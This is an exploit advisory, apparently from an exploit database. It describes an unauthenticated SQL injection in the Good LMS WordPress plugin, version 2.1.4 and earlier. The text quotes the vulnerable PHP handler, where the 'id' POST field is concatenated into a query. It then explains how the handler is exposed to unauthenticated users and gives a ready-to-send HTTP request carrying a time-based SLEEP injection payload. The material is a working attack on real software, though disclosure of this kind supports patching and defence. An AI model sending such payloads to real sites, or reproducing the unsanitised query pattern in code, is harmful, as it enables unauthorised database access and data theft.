# Exploit Title: Wordpress Plugin Good LMS 2.1.4 - 'id' Unauthenticated SQL Injection # Software Link: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850 # Version: <= 2.1.4 # Dork: N/A # Author: Abdulazeez Alaseeri # Tested on: linux/apache # Type: Web App # Date: 2020-11-12 # Category: Web App ================================================================ Unauthenticated SQL Injection in Good Layers LMS Plugin <= 2.1.4 ================================================================ Plugin URL: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850 Following is the vulnerable code in file "goodlayers-lms/include/lightbox-form.php" from line 682 to 701 ================================================================ Start Vulnerable Code ================================================================ 682- add_action( 'wp_ajax_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' ); 683- add_action( 'wp_ajax_nopriv_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' ); 684- function gdlr_lms_cancel_booking(){ 685- global $wpdb; 686- 687- $sql = 'SELECT * FROM ' . $wpdb->prefix . 'gdlrpayment '; 688- $sql .= 'WHERE id=' . $_POST['id'] . ' AND '; 689- $sql .= '(payment_status=\'pending\' OR payment_status=\'submitted\' OR payment_status=\'reserved\')'; 690- $booked_course = $wpdb->get_row($sql); 691- if( !empty($booked_course) ){ 692- $payment_info = unserialize($booked_course->payment_info); 693- 694- $course_options = gdlr_lms_get_course_options($booked_course->course_id); 695- $course_options['booked-seat'] = intval($course_options['booked-seat']) - intval($payment_info['amount']); 696- update_post_meta($booked_course->course_id, 'gdlr-lms-course-settings', wp_slash(json_encode($course_options, JSON_UNESCAPED_UNICODE))); 697- 698- $wpdb->delete( $wpdb->prefix . 'gdlrpayment', array('id'=>$_POST['id']), array('%d')); 699- } 700- die(""); 701- } ================================================================ End Vulnerable Code ================================================================ Line 682 means that function "gdlr_lms_cancel_booking" can be called using "/wp-admin/admin-ajax.php" by having any low privileged account such as subscriber or contributor. However the "nopriv" in line 683 means that the same function "gdlr_lms_cancel_booking" can also be called as an unauthenticated user. Following URL means that an attacker is already inside function "gdlr_lms_cancel_booking". http://www.example.com/wp-admin/admin-ajax.php?action=gdlr_lms_cancel_booking SQL Injection on line 688 is pretty simple to understand that an arbitrary user input in POST Request is sent straight into the MySQL Query as variable "id" $sql .= 'WHERE id=' . $_POST['id'] . ' AND '; Following are the Request Headers as POC which demonstrates MySQL SLEEP Query. ================================================================ Request Headers Start ================================================================ POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded action=gdlr_lms_cancel_booking&id=(SELECT 1337 FROM (SELECT(SLEEP(10)))MrMV) ================================================================ Request Headers Finish ================================================================